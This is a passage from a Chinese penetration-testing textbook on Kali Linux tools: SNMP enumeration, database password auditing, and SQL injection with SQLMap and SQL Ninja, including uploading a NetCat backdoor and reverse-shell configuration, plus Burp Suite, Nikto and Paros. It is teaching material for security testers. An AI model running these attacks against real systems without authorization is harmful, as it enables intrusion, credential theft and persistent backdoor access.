管理端程序负责网络管理和状态监控的管理任务。代理端是网络设备运行的软件。可运行客户端程序的网络设备包括支持SNMP协议路由器、交换机、集线器、网络摄像头、网桥,以及安装客户端程序的操作系统(Linux、Windows)主机。安装了代理端程序的设备通过SNMP协议向管理端报告设备带宽、正常运行时间、运行进程、网络接口、系统服务等数据信息。SNMP 信息通过多个变量分别描述了系统不同方面的配置情况。SNMP 信息采用 MIB(Management Information Base)的层次结构方式组织消息中的各种变量,每个变量有确定的唯一对象标识符(Object Identifier,OID)。SNMP 协议共有三个版本,即v1、v2和v3。

以安全角度看,vl和v2版本的方案均是通过团体字符串实现安全防护。而v3在保密性、完整性和身份验证方面的功能更好。本文介绍的工具主要针对基于vl和v2c的SNMP设备。

如需深入了解SNMP协议,请参见http://www. tech-faq.com/snmp.html。

SNMP Walk

SNMP Walk是一个功能强大的SNMP信息采集工具。它可依据设备类型提取所有配置数据。这些信息将对攻击的后续工作非常有用。此外,SNMP Walk 可针对性地获取单组MIB数据或特定OID值。

如需启动SNMP Walk 程序,可在终端中使用下述指令。

# snmpwalk

上述命令将显示该程序的使用说明和选项说明。SNMP Walk 可以使用三种不同版本的SNMP协议(即vl、v2c和v3),这也是它的主要优势所在。在远程设备使用的SNMP协议不能向下兼容时,这一优势将发挥作用。本例将使用下述指令,在指令行中分别以v1和v2c版本的SNMP协议获取远程主机的信息。

# snmpwalk -v 2c -c public -O T -L f snmpwalk.txt 10.20.127.49

SNMPv2-MIB::sysDescr.0 = STRING: Hardware: x86 Family 15 Model 4

Stepping 1 AT/AT COMPATIBLE - Software: Windows Version 5.2 (Build 3790 Multiprocessor Free)

SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.311.1.1.3.1.2

DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (1471010940) 170 days, 6:08:29.40

SNMPv2-MIB::sysContact.0 = STRING:

SNMPv2-MIB::sysName.0 = STRING: CVMBC-UNITY

SNMPv2-MIB::sysLocation.0 = STRING:

SNMPv2-MIB::sysServices.0 = INTEGER: 76

IF-MIB::ifNumber.0 = INTEGER: 4

IF-MIB::ifIndex.1 = INTEGER: 1

IF-MIB::ifIndex.65538 = INTEGER: 65538

IF-MIB::ifIndex.65539 = INTEGER: 65539

IF-MIB::ifIndex.65540 = INTEGER: 65540

IF-MIB::ifDescr.1 = STRING: Internal loopback interface for 127.0.0 network

IF-MIB::ifDescr.65538 = STRING: Internal RAS Server interface for dial in clients

IF-MIB::ifDescr.65539 = STRING: HP NC7782 Gigabit Server Adapter #2

IF-MIB::ifDescr.65540 = STRING: HP NC7782 Gigabit Server Adapter

IF-MIB::ifType.1 = INTEGER: softwareLoopback(24)

IF-MIB::ifType.65538 = INTEGER: ppp(23)

IF-MIB::ifType.65539 = INTEGER: ethernetCsmacd(6)

IF-MIB::ifType.65540 = INTEGER: ethernetCsmacd(6)

IF-MIB::ifMtu.1 = INTEGER: 32768

IF-MIB::ifMtu.65538 = INTEGER: 0

IF-MIB::ifMtu.65539 = INTEGER: 1500

...

IF-MIB::ifPhysAddress.65539 = STRING: 0:13:21:c8:69:b2

IF-MIB::ifPhysAddress.65540 = STRING: 0:13:21:c8:69:b3

IF-MIB::ifAdminStatus.1 = INTEGER: up(1)

...

IP-MIB::ipAdEntAddr.127.0.0.1 = IpAddress: 127.0.0.1

IP-MIB::ipAdEntAddr.192.168.1.3 = IpAddress: 192.168.1.3

IP-MIB::ipAdEntAddr.192.168.1.100 = IpAddress: 192.168.1.100

IP-MIB::ipAdEntAddr.10.20.127.52 = IpAddress: 10.20.127.52

IP-MIB::ipAdEntIfIndex.127.0.0.1 = INTEGER: 1

IP-MIB::ipAdEntIfIndex.192.168.1.3 = INTEGER: 65540

IP-MIB::ipAdEntIfIndex.192.168.1.100 = INTEGER: 65538

IP-MIB::ipAdEntIfIndex.10.20.127.52 = INTEGER: 65539

IP-MIB::ipAdEntNetMask.127.0.0.1 = IpAddress: 255.0.0.0

IP-MIB::ipAdEntNetMask.192.168.1.3 = IpAddress: 255.255.255.0

IP-MIB::ipAdEntNetMask.192.168.1.100 = IpAddress: 255.255.255.255

IP-MIB::ipAdEntNetMask.10.20.127.52 = IpAddress: 255.255.255.248

IP-MIB::ipAdEntBcastAddr.127.0.0.1 = INTEGER: 1

IP-MIB::ipAdEntBcastAddr.192.168.1.3 = INTEGER: 1

IP-MIB::ipAdEntBcastAddr.192.168.1.100 = INTEGER: 1

IP-MIB::ipAdEntBcastAddr.10.20.127.52 = INTEGER: 1

IP-MIB::ipAdEntReasmMaxSize.127.0.0.1 = INTEGER: 65535

IP-MIB::ipAdEntReasmMaxSize.192.168.1.3 = INTEGER: 65535

IP-MIB::ipAdEntReasmMaxSize.192.168.1.100 = INTEGER: 65535

IP-MIB::ipAdEntReasmMaxSize.10.20.127.52 = INTEGER: 65535

RFC1213-MIB::ipRouteDest.0.0.0.0 = IpAddress: 0.0.0.0

RFC1213-MIB::ipRouteDest.127.0.0.0 = IpAddress: 127.0.0.0

RFC1213-MIB::ipRouteDest.127.0.0.1 = IpAddress: 127.0.0.1

RFC1213-MIB::ipRouteDest.192.168.1.0 = IpAddress: 192.168.1.0

RFC1213-MIB::ipRouteDest.192.168.1.3 = IpAddress: 192.168.1.3

RFC1213-MIB::ipRouteDest.192.168.1.100 = IpAddress: 192.168.1.100

RFC1213-MIB::ipRouteDest.192.168.1.255 = IpAddress: 192.168.1.255

RFC1213-MIB::ipRouteDest.10.20.127.48 = IpAddress: 10.20.127.48

RFC1213-MIB::ipRouteDest.10.20.127.52 = IpAddress: 10.20.127.52

RFC1213-MIB::ipRouteDest.10.20.127.255 = IpAddress: 10.20.127.255

...

上述指令的输出信息可帮助我们深入地了解目标主机。其中,选项-c 用于指定提取MIB 所需的团体字符串,-O 选项将输出结果以可读的文本(T)形式进行输出,-L选项将数据保存为文件(f snmpwalk.txt)。如需详细了解SNMP Walk 各种使用方法,可访问网址http://net-snmp.sourceforge.net/wiki/index.php/TUT:snmpwalk。渗透测试人员获取的信息量越多,他们对目标网络架构理解得越透彻。

7.8 Web程序分析工具

现在的应用程序大多采用了多种Web技术,这不仅增加了程序问题的复杂性,而且增加了敏感数据泄露的风险。一直以来,Web 应用程序从始至终都是恶意对手窃取、操纵、破坏和敲诈企业业务的目标。Web 应用程序的大量普及,也给渗透测试人员带来了前所未有的巨大挑战。Web 应用程序(前端)和数据库(后端)都是加固网络安全的重点。Web应用程序扮演着数据处理系统的角色,而数据库负责存储敏感数据(例如信用卡号、用户信息、认证数据等),所以两者的安全性都要兼顾。

本节把Web应用程序的安全分析分为“Web应用程序测试”和“数据库测试”两个部分。虽然如此,我们应该非常清楚二者之间的关系,以及它们组成的复合技术架构。Kali Linux 提供了多款能够对 Web 应用程序和数据库程序进行综合评估分析的安全评估工具。也就是说,有些工具能够通过Web应用程序(即前端)攻击后台数据库(如SQL注入)。

7.8.1 数据库评估工具

本节将介绍 Kali Linux 的三款数据库分析工具。这三款分析工具分别用于 MS-SQL、MySQL 和 Oracle 数据库的安全测试。本文会逐一演示它们的基本功能和功能。这些工具主要用于数据库的指纹指纹、服务枚举、密码审计,以及评估目标系统遭受SQL注入攻击的可能性。审计人员可利用这些工具掌握前端的Web漏洞,并同时发现后台数据库的安全弱点。

如需详细了解 SQL 诸如攻击及有关类型,请参见 http:// hakipedia.com/index.php/SQL_Injection。

1.DBPwAudit

DBPwAudit是一款审计Oracle、MySQL、MS-SQL 和IBM DB2 服务器密码安全性的工具,它是Java程序。这款工具大幅度地简化了使用新数据库(评估)技术的难度。在目标系统没有采用强密码安全策略的情况下,它可帮助渗透测试人员找到数据库管理系统的有效账户。目前,它支持字典式密码攻击机制。

如需启动 DBPwAudit 程序,可在桌面菜单里依次选中 Kali Linux | Vulnerability Analysis | Database Assessment | dbpwaudit,或者在shell 中使用下述指令。

# cd /usr/share/dbpwaudit/

# dbpwaudit

上述指令将在屏幕上显示程序的所有选项及使用说明。如需知道DBPwAudit可以驱动的数据库类型,可使用下述指令。

# dbpwaudit -L

上述指令将列出该程序可以审计的数据库类型。特别要注意数据库系统的别名(aliases),在命令行中指定数据库类型时要使用数据库的别名。

本文将演示该程序审计MySQL数据的方法。在此之前,我们首先要安装好MySQL驱动程序。在安装好MySQL驱动程序之后,我们可测试目标数据库系统是否含有常见账户。在进行字典式测试之前,我们需要提前准备好两个字典文件,即users.txt和passwwords.txt。然后使用下述指令。

# dbpwaudit -s 10.2.251.24 -d pokeronline -D MySQL -U \ users.txt –P

passwords.txt

DBPwAudit v0.8 by Patrik Karlsson <patrik@cqure.net>

---------------------------------------------------

[Tue Sep 14 17:55:41 UTC 2013] Starting password audit ...

[Tue Sep 14 17:55:41 UTC 2013] Testing user: root, pass: admin123

[Tue Sep 14 17:55:41 UTC 2013] Testing user: pokertab, pass: admin123

ERROR: message: Access denied for user 'root'@'10.2.206.18' (using password: YES), code: 1045

[Tue Sep 14 17:55:50 UTC 2013] Testing user: root, pass: RolVer123

ERROR: message: Access denied for user 'pokertab'@'10.2.206.18' (using password: YES), code: 1045

[Tue Sep 14 17:55:56 UTC 2013] Testing user: pokertab, pass: RolVer123

...

[Tue Sep 14 17:56:51 UTC 2013] Finnishing password audit ...

Results for password scan against 10.2.251.24 using provider MySQL

-----------------------------------------------------

user: pokertab pass: RolVer123

Tested 12 passwords in 69.823 seconds (0.17186314tries/sec)

上面信息表明,该程序成功地发现了一个有效的用户账户。上述指令中,-d 选项代表目标数据库的名称,-D 选项用于指定相应的数据库管理系统(DBMS)。-U 选项指定用户名字典,-P选项则用来指定采用的密码字典。

2.SQLMap

SQLMap是一款先进的自动执行SQL注入的审计工具。针对指定的URL,它可以扫描、发现并利用SQL注入漏洞。目前,SQLMap支持的数据库管理系统包括MS-SQL、MySQL、Oracle和PostgreSQL。略微处理之后,它也能够识别诸如DB2、Informix、Sybase、Interbase和 MS Access 之类的数据库系统。SQLMap 采用4种独特的 SQL 注入技术,分別是SQL盲注、联合査询SQL注入、累加式注入(stacked query)和基于时间的SQL盲注入。它功能广泛,可对数据库进行指纹识别、服务枚举、数据提取,并可访问目标主机的文件系统,在获取完全操作权时甚至可以执行任意命令。此外,该工具还可以从Burp Proxy或Web Scarab的日志,以及标准的文本文件中解析测试目标的列表。它还能够调用Google dorks 的分类数据,使用Google搜索引擎搜索指定目标的可测试网址。

如需深入了解 Google dorks 的各种用法,请访问 Google HackingDatabase 的官方网址:http://www.hackersforcharity.org/ghdb/。

如需启动SQLMap 程序,可在桌面菜单里依次选中Kali Linux | Vulnerability Analysis |Database Assessment | sqlmap,或者在shell 中使用下述指令。

# cd /usr/share/sqlmap/

# sqlmap -h

上述命令将显示所有可用的选项。这些选项可以分为11个逻辑分类,即目标规格、连接请求参数、注入payload、注入技术、指纹识别、枚举选项、用户自定义函数(UDF)注入、文件系统访问选项、操作系统访问选项、Windows 注册表访问和其他杂项。在下文的这个例子中,我们将使用多个指纹识别类选项和服务枚举类选项,获取被测数据库系统的特征信息。

# sqlmap -u "http://testphp.example.com/artists.php?artist=2" -p "artist"-f -b --current-user --current-db --dbs --users

...

[*] starting at: 11:21:43

[11:21:43] [INFO] using '/usr/share/sqlmap/output/testphp.example.com/session' as session file

[11:21:43] [INFO] testing connection to the target url

[11:21:45] [INFO] testing if the url is stable, wait a few seconds

[11:21:49] [INFO] url is stable

[11:21:49] [INFO] testing sql injection on GET parameter 'artist' with 0 parenthesis

[11:21:49] [INFO] testing unescaped numeric injection on GET parameter 'artist'

[11:21:51] [INFO] confirming unescaped numeric injection on GET parameter 'artist'

[11:21:53] [INFO] GET parameter 'artist' is unescaped numeric injectable with 0 parenthesis

[11:21:53] [INFO] testing for parenthesis on injectable parameter

[11:21:56] [INFO] the injectable parameter requires 0 parenthesis

[11:21:56] [INFO] testing MySQL

[11:21:57] [INFO] confirming MySQL

[11:21:59] [INFO] retrieved: 2

[11:22:11] [INFO] the back-end DBMS is MySQL

[11:22:11] [INFO] fetching banner

[11:22:11] [INFO] retrieved: 5.0.22-Debian_0ubuntu6.06.6-log

[11:27:36] [INFO] the back-end DBMS operating system is Linux Debian or Ubuntu

...

[11:28:00] [INFO] executing MySQL comment injection fingerprint

web server operating system: Linux Ubuntu 6.10 or 6.06 (Edgy Eft or Dapper Drake)

web application technology: Apache 2.0.55, PHP 5.1.2

back-end DBMS operating system: Linux Debian or Ubuntu

back-end DBMS: active fingerprint: MySQL >= 5.0.11 and < 5.0.38

comment injection fingerprint: MySQL 5.0.22

banner parsing fingerprint: MySQL 5.0.22, logging enabled

html error message fingerprint: MySQL

[11:31:49] [INFO] fetching banner

[11:31:49] [INFO] the back-end DBMS operating system is Linux Debian or Ubuntu

banner: '5.0.22-Debian_0ubuntu6.06.6-log'

[11:31:49] [INFO] fetching current user

[11:31:49] [INFO] retrieved: fanart@localhost

current user: 'fanart@localhost'

[11:34:47] [INFO] fetching current database

[11:34:47] [INFO] retrieved: fanart

current database: 'fanart'

[11:35:57] [INFO] fetching database users

[11:35:57] [INFO] fetching number of database users

[11:35:57] [INFO] retrieved: 1

[11:36:04] [INFO] retrieved: 'fanart'@'localhost'

database management system users [1]:

[*] 'fanart'@'localhost'

[11:39:56] [INFO] fetching database names

[11:39:56] [INFO] fetching number of databases

[11:39:56] [INFO] retrieved: 3

[11:40:05] [INFO] retrieved: information_schema

[11:43:18] [INFO] retrieved: fanart

[11:44:24] [INFO] retrieved: modrewriteShop

available databases [3]:

[*] fanart

[*] information_schema

[*] modrewriteShop

[11:47:05] [INFO] Fetched data logged to text files under '/usr/share/sqlmap/output/testphp.example.com'

...

这一时刻,我们成功地发现了artist参数存在注入问题。上述指令中,-p选项用来指定目标URL里需要测试的参数。默认情况下,SQLMap会扫描所有可用的参数(GET、POST、HTTPCookie和User-Agent),但是我们通过指定参数(-p"Parameter 1,Parameter 2")限制了测试对象的范围。这将提升SQL注入的速度,从而提高访问后台数据库的速度。在下面的测试中,我们使用--tables选项和-D选项,从数据库fanart中提取所有表的信息。

# sqlmap -u "http://testphp.example.com/artists.php?artist=2" --tables -D fanart -v 0

[*] starting at: 12:03:53

web server operating system: Linux Ubuntu 6.10 or 6.06 (Edgy Eft or Dapper Drake)

web application technology: Apache 2.0.55, PHP 5.1.2

back-end DBMS: MySQL 5

Database: fanart

[7 tables]

+------------+

| artists |

| carts  |

| categ  |

| featured |

| guestbook |

| pictures |

| users  |

+------------+

上述信息表明,由于两次测试都使用了相同的 URL,SQLMap 程序使用了上次会话(session)中提取的指纹信息,并没有从头对数据库进行测试。这种功能可让用户随时终止并保存测试会话,以便在后续阶段继续此次会话。此处,我们还可以使用--dump或--dump all选项,对数据库信息进行自动存储。这个程序还有其他一些高级选项,例如--os-cmd、--os-shell 或--os-pw 用于可帮助渗透测试者获得远程访问系统权限,并执行任意命令。但是,此类功能仅支持MS-SQL、MySQL和PostgreSQL这三种运行于操作系统的数据库系统。如果还需要使用SQLMap的其他选项,可参考官方教程中的实例:http://sqlmap. sourceforge.net/doc/ README.html。

Metasploit框架可以支持SQLMap的哪些选项?

SQLMap的--ospwn选项、--os-smbrelay选项、--priv-sec选项和--msf-path选项,都是在数据库系统的操作系统上执行的指令选项。Metasploit可通过三种payload使用这些选项:shell、交互式命令环境和GUI访问(VNC)。

3.SQL Ninja

SQL Ninja 是一款SQL 注入的审计工具,专门用于评估后台数据库采用MS-SQL Server的Web应用程序。它可通过SQL注入漏洞获取远程数据库服务器的shell运行权限,而不是提取数据库数据的工具。SQL Ninja 的功能有:对服务器进行指纹识别、暴力破解密码、提升权限、上传后门、直接调用shell、反连方法连接shell(绕过防火墙的技术)、反射shell、DNS隧道、单命令执行等。它还可以与Metasploit进行集成。因此,它不仅是扫描SQL注入漏洞的工具,而且还是利用已知漏洞获取操作系统访问权限的工具。

SQL Ninja 不是初学者玩的玩具。如果您需要配置并使用这种工具,请详细阅读作者的使用说明,在实际应用前充分了解这款工具。

如需启动SQL Ninja,可在桌面菜单里依次选中Kali Linux | Vulnerability Analysis |Database Assessment | sqlninja,或者在shell 中使用下述指令。

# sqlninja

上述指令将在屏幕上显示程序所有的可用选项。在进行测试前,需要根据已反映目标的情况更改配置文件的参数和利用漏洞的选项。首先,您要将样本配置文件解压缩出来,把它重新命名,然后移动到正确的目录中,进行如下修改。

# cd /usr/share/doc/sqlninja/

# gzip –d sqlninja.conf.example.gz

# cp sqlninja.conf.example.gz /usr/share/sqlninja/sqlninja.conf

然后,我们要修改配置文件,使其符合我们的测试内容。您需要在配置文件中找到下述内容,然后删除行首的注释符号,并根据实际情况对有关选项进行调整。

本文根据情况将配置文件的下述内容进行了调整。

# vim sqlninja.conf

...

# Host (required)

host = testasp.example.com

# Port (optional, default: 80)

port = 80

# Vulnerable page (e.g.: /dir/target.asp)

page = /showforum.asp

stringstart = id=0;

# Local host: your IP address (for backscan and revshell modes)

lhost = 192.168.0.3

msfpath = /usr/share/exploits/framework3

# Name of the procedure to use/create to launch commands. Default is

# "xp_cmdshell". If set to "NULL", openrowset+sp_oacreate will be used

# for each command

xp_name = xp_cmdshell

...

在上述配置文件中,我们仅修改了一些必要的参数,其他没有提及的内容均采用了默认值。另外,在使用SQL Ninja 之前,您还有必要使用其他工具检查SQL 注入的漏洞。在配置好配置文件之后,您就可以使用它的攻击模式-m t/test 对目标进行检测。

# sqlninja -m t

Sqlninja rel. 0.2.3

Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net>

[+] Parsing configuration file................

[+] Target is: testasp.targetdomain.com

[+] Trying to inject a 'waitfor delay'....

[+] Injection was successful! Let's rock !! :)

...

可见,程序成功地识别出了配置文件的各种设置,而且盲注测试取得了成功。接下来,我们可以对目标进行指纹识别,以获取SQLServer的更多信息,并取得目标操作系统的操作权限。

# sqlninja -m f

Sqlninja rel. 0.2.3

Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net>

[+] Parsing configuration file................

[+] Target is: testasp.example.com

What do you want to discover ?

0 - Database version (2000/2005)

1 - Database user

2 - Database user rights

3 - Whether xp_cmdshell is working

4 - Whether mixed or Windows-only authentication is used

a - All of the above

h - Print this menu

q - exit

>a

[+] Checking SQL Server version...

Target: Microsoft SQL Server 2005

[+] Checking whether we are sysadmin...

No, we are not 'sa'.... :/

[+] Finding dbuser length...

Got it ! Length = 8

[+] Now going for the characters........

DB User is....: achcMiU9

[+] Checking whether user is member of sysadmin server role....

You are an administrator !

[+] Checking whether xp_cmdshell is available

xp_cmdshell seems to be available :)

Mixed authentication seems to be used

>q

...

上述信息表明,目标系统存在漏洞,其指定的数据库安全策略并不够安全。我们有机会上传NetCat的后门程序,继而获取被攻陷主机的长期控制权,并可通过它的shell执行任意的指令。此时,人们常用Metasploit的攻击模式进行进一步的渗透。

# sqlninja -m u

Sqlninja rel. 0.2.3

Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net>

[+] Parsing configuration file................

[+] Target is: testasp.targetdomain.com

File to upload:

shortcuts: 1=scripts/nc.scr 2=scripts/dnstun.scr

>1

[+] Uploading scripts/nc.scr debug script............

1540/1540 lines written

done !

[+] Converting script to executable... might take a while

[+] Completed: nc.exe is uploaded and available !

至此,我们巳经成功上传后门。然后我们可通过该后门获得 s/dirshell、k/backscan或r/revshell。此外,采用m/metasploit的髙级选项可以使用Metasploit 框架的SQLNinja封装程序访问目标主机的GUI。如需详细了解SQLNinja的使用方法或它的配置文件,请访问http://sqlninja.source forge.net/sqlninja-howto.html。

7.8.2 Web应用程序评估工具

本节介绍的工具主要关注Web基础设施前端程序的安全性。它们都可以识别、分析并利用应用程序的安全漏洞。这些漏洞包括缓冲区溢出、跨站脚本(XSS)、SQL 注入、SSI 注入、XML注入、应用配置错误、功能滥用、会话预测、信息泄露以及许多其他类型的漏洞。7.2节已经讨论过,应用程序漏洞有多种分类标准。如需更深入了解这些漏洞的特性,强烈建议读者掌握上述漏洞分类标准。

1.Burp Suite

Burp Suite组合了一系列功能强大的Web应用程序的安全工具。这些工具能够演示攻击人员对Web应用程序的渗透方法。它们能够或手动或自动地扫描、分析并利用Web应用程序的安全漏洞。Burp Suit将有关工具整合为一体,能够在多个工具之间传递和共享信息,成为了一个完整的攻击平台。这一特性使得Burp Suite成为了简单有效的Web应用程序攻击框架。

如需启动Burp Suit,可在桌面菜单里依次选中Kali Linux | Web Applications | Web Vulnerability Scanners | burpsuite,或在终端中使用下述指令。

# burpsuite

上述指令将在屏幕上显示Burp Suite 的程序窗口。您可以通过对应的选项卡访问它所集成的全部工具(Target、Proxy、Spider、Scanner、Intruder、Repeater、Sequencer、Decoder和Comparer)。如需了解它们的用法和配置等详细信息,可以使用Help菜单或者访问http://www.portswigger.net/suite/help.html。本例将使用Burp Suite的多个工具分析小型的Web 应用程序。要注意,Burp Suite 有两个版本:免费版和商业版。Kali Linux 收录的版本是它的免费版,因此有些功能受到限制。使用Burp Suite 检查SQL注入漏洞的相应步骤如下。

1. 首先,选择Proxy | Options,检查proxy listeners的属性。本例采用程序的默认设置,即监听 8080 端口。您还可以根据评估任务的实际情况设置这个界面的其他选项,例如主机重定向、SSL证书、客户端请求拦截、服务器响应拦截、页面属性和请求头修改等。

2. 选择Proxy | Intercept,选中intercept is on标签。

3. 打开你最习惯的浏览器(例如Firefox),并设置HTTP/HTTPS 协议的代理服务器为本地代理(127.0.0.1, 8080)。代理服务器能够拦截、检查并修改浏览器发往目标Web应用程序之间的客户端请求,并且能够记录服务器发回的所有响应。在这种设置中,Burp Suite 的功能类似中间人代理服务器。

4. 浏览目标网站(例如,http: //testphp.targetdomain.com),您可在Burp Suite 的Proxy | Intercept选项卡中看到浏览器发送的请求数据(http request)。在本例中,我们不对浏览器请求进行任何修改,直接转发这个请求。如需修改请求,可以在Raw、Headers或者Hex选项卡中修改。清注意,在访问索引页(index)等网页时,浏览器会对网页中的各种资源(例如图像、Flash文件)发送单独的获取请求。

5. 在此,强烈建议访问尽可能多的网页,以帮助Burp Suite列出可用页的GET和POST 请求。当然,也可以使用程序的 Spider 功能自动完成分析过程。如需使用 Spider的爬虫功能,可在菜单中选中 Target|Site Map,右键点击目标网址(本例是http://testphp.examples.com),然后选择spider this host。此后,程序将会自动发现、扫描可用页面;当遇到需要递交数据的页面(例如登录)时,程序将提示您进行人工干预。此操作结束后,可在Target|Site map选项卡右侧的面板中査看可访问网页清单和页面属性(方法、URL、参数、响应码等)。

6. 您可选择一个采用GET或POST 模式传递参数的页面,用Intruder 进行测试。关键是要找到可能的参数标识符,获取有用数据,并对这些参数进行模糊测试,以检测已知漏洞。右键单击选定的请求,并选择 send to intruder。本例测试的网址是http://testphp.targetdomain.com/listproducts. php?artist=2;程序将以不同长度的字符替代2,以找到已知的漏洞。

7. 接下来,我们要指定攻击类型以及有效载荷(payload)的位置(Intruder | Positions),以进行自动测试。有效载荷的位置有§2§标识。然后,我们通过菜单进入 Intruder | Payloads,从预定义字符块列表中选择预定义的有效载荷(payload),本例选择Character blocks。当然,您还可以指定自定义的有效载荷。设置完毕后,选择菜单Intruder | Start 执行测试任务。此时,程序将会在弹出的窗口里显示测试目标应用程序时发送的全部请求。待程序处理完所有指定的有效载荷之后,我们可通过远程响应的比较结果判断Web应用程序的意外行为。使用鼠标右键点击选定的请求并选择send response to comparer,即可对响应进行比较。Burp Suite 可以对两个(或更多)的请求或响应进行逐字逐节(bytes和words)的比较。如需详细了解各种攻击类型,请访问 http://www.portswigger.net/burp/help/intruder_positions. html#attacktype;如需了解有关有效载荷选项的更多信息,请访问 http://www.portswigger.net/burp/help/ intruder_payloads_types.html。

8. 在比较响应的过程中,我们发现其中一个有效载荷请求存在 SQL 注入漏洞。为了验证其真实性,我们决定使用 Repeater 重现该请求。即使用鼠标右键点击该请求,然后选择 send request to repeater,之后单击 Repeater 选项卡中的 go 按钮,将会立即获取指定请求的远程响应。在本例中,我们注意到响应页面中的下述错误信息。

Error: Unknown column 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA' in 'where clause'

Warning : mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/vhosts/default/htdocs/listproducts.php on line 74

9. 上述信息是SQL 注入漏洞的典型特征。除了检验这种类型的安全问题,我们还可以使用Burp Suite 的sequencer 测试应用程序session tokens的散化程度,检测session的可预测问题。有关sequencer的基本用法,请参见http://www.portswigger. net/suite/sequencerhelp.html。

Burp Suite 是款多功能的Web 应用程序安全工具。它是应用广泛、功能强大的Web应用程序攻击平台。篇幅所限,本文不逐一介绍它的各个功能。所以,我们强烈建议您通过它的官方网站(http://www.portswigger.net/)详细了解它的各种用法。

2.Nikto2

Nikto2是一款基础的Web服务器安全扫描工具。它可以扫描、检测由下述问题引起的的安全漏洞:服务器的配置不当问题、默认和不安全的文件、过旧的服务端应用程序。Nikto2程序完全是LibWhisker2的再开发版。因此,它支持跨平台部署、SSL、常见的主机身份验证方式(NTLM/Basic)、多代理,并采用了多种 IDS 规避技术。它还支持子域名枚举、应用程序安全检査(XSS、SQL注入等),并能够使用字典的攻击方法猜测认证信息。

如需启动Niklo2 程序,可在桌面菜单里依次选中Kali Linux | Web Applications | Web Vulnerability Scanners | nikto,或者在终端中使用下述指令。

# nikto

上述指令将显示其所有选项及其扩展特性。在本例中,我们使用-T选项对目标主机执行一组特定的测试。有关各个选项的详细说明和使用方法,请访问 http://cirt.net/nikto2-docs/。

# nikto -h testphp.example.com -p 80 -T 3478b -t 3 -D \ V -o webtest –F

htm

- Nikto v2.1.5

-------------------------------------------------------------

V:Sat Sep 18 14:39:37 2013 - Initialising plugin nikto_apache_expect_xss

V:Sat Sep 18 14:39:37 2013 - Loaded "Apache Expect XSS" plugin.

V:Sat Sep 18 14:39:37 2013 - Initialising plugin nikto_apacheusers

V:Sat Sep 18 14:39:37 2013 - Loaded "Apache Users" plugin.

V:Sat Sep 18 14:39:37 2013 - Initialising plugin nikto_cgi

V:Sat Sep 18 14:39:37 2013 - Loaded "CGI" plugin.

V:Sat Sep 18 14:39:37 2013 - Initialising plugin nikto_core

V:Sat Sep 18 14:39:37 2013 - Initialising plugin nikto_dictionary_attack

...

V:Sat Sep 18 14:39:38 2013 - Checking for HTTP on port 10.2.87.158:80, using HEAD

V:Sat Sep 18 14:39:38 2013 - Opening reports

V:Sat Sep 18 14:39:38 2013 - Opening report for "Report as HTML" plugin

+ Target IP:   10.2.87.158

+ Target Hostname: testphp.example.com

+ Target Port:  80

+ Start Time:  2013-09-19 14:39:38

-------------------------------------------------------------

-----------

+ Server: Apache/2.0.55 (Ubuntu) mod_python/3.1.4 Python/2.4.3 PHP/5.1.2 mod_ ssl/2.0.55 OpenSSL/0.9.8a mod_perl/2.0.2 Perl/v5.8.7

V:Sat Sep 18 14:39:40 2013 - 21 server checks loaded

V:Sat Sep 18 14:39:41 2013 - Testing error for file: /.g89xvYXD

...

+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST

V:Sat Sep 18 14:40:49 2013 - Running scan for "Server Messages" plugin

+ OSVDB-0: mod_ssl/2.0.55 OpenSSL/0.9.8a mod_perl/2.0.2 Perl/v5.8.7 –mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell (difficult to exploit). http://cve.mitre.org/cgi-bin/cvename.cgi?name= CVE-2002-0082, OSVDB-756.

...

V:Sat Sep 18 14:41:04 2013 - 404 for GET:  /tiki/tiki-install.php

V:Sat Sep 18 14:41:05 2013 - 404 for GET:  /scripts/samples/details.idc

+ 21 items checked: 15 item(s) reported on remote host

+ End Time:   2013-09-19 14:41:05 (87 seconds)

-------------------------------------------------------------

+ 1 host(s) tested

V:Sat Sep 18 14:41:05 2013 + 135 requests made

上述指令中,-T 选项指定测试类型为 Information Disclosure(信息泄露)、Injection (XSS/Script/HTML)、Remote File Retrieval(Server Wide)、Command Execution 和Software Identification(软件识別);-t 选项控制每个测试类型执行的超时时间:-DV 选项控制显示格式;-o和-F选项用于定义扫描报告以特定的格式和编写。Nikto还有其他的选项,例如-mutate(猜测子域、文件、目录、用户名)、-evasion(规避IDS检测)和-Single (单组规则测试模式),都可以用来进行更为深入的安全评估。

3.Paros Proxy

Paros Proxy 是一款名不见经传的深入分析安全漏洞的评估工具。它能以爬虫方式分析整个网站的网址,并执行各种漏洞测试。同时,审计人员还可以利用它的代理服务器功能拦截本机浏览器和目标应用程序服务器之间的Web流量(支持HTTP/HTTPS协议)。审计人员可以利用这种机制修改本机发往目标服务程序的特定请求,从而进行手工测试。因此, Paros Proxy不仅是Web 应用程序安全评估的主动评估工具,而且还是它的被动评估工具。

如需启动Paros Proxy程序,可在桌面菜单里依次选中Kali Linux | Web Applications |Web Application Proxies | Paros,或者在终端中使用下述指令。

# paros

上述指令将加载Paros Proxy程序的图形窗口。在开始测试前,你需要在浏览器中设置本地代理,即设置代理的 IP 为 127.0.0.1,端口为 8080。如需调整默认设置,可在菜单Tools | Options中调整连接设置、本地代理的设置、HTTP认证和其他相关设置。在设置好浏览器之后,就可以访问目标网页了。使用Paros Proxy进行漏洞测试的具体步骤如下。

1. 在本例中,我们访问http://testphp.targetdomain.com。此后,Paros Proxy的Sites选项卡里显示这个网址。

2. 使用鼠标右键单击http://testphp.targetdomain.com 并选择Spider,以爬虫方式分析整个网站的网址。扫描网址的时间取决于网站的页面数量。

3. 在程序抓取完网址之后,您可通过底部的Spider 标签査看所有抓取到的网址信息。此外,也可以通过在Sites选项卡中选择特定网站的网页,以跟踪其请求和响应。

4. 您在右侧面板中的 Trap 选项卡中,调查特定的请求和响应的响应。在对目标应用程序进行手动测试时,这项功能尤其有用。此外,您可通过菜单 Tools | Manual Request Editor,手工构建一个HTTP请求。

